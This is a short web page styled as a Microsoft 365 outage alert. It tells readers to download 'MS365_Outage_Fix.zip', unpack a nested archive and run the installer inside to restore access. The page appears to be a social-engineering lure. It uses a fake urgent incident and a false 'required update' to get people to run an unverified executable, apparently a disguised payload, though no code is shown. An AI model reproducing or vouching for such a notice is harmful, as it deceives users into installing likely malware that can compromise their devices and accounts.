Active incident – action required
An update is required to restore Microsoft 365 access
We are currently investigating a service disruption affecting sign-in, Outlook and Teams on some devices. A required client update has been released that resolves the issue.
Download the update package and run it on your device. No restart is needed and no settings will be changed.
Download updateFile: MS365_Outage_Fix.zip · Windows 10 / 11 · ZIP archive
Installation steps
- Save the downloaded file.
- Right-click the file and choose Extract All.
- Open the extracted folder and extract the .zip file inside it as well.
- Run the installer inside and follow the prompts.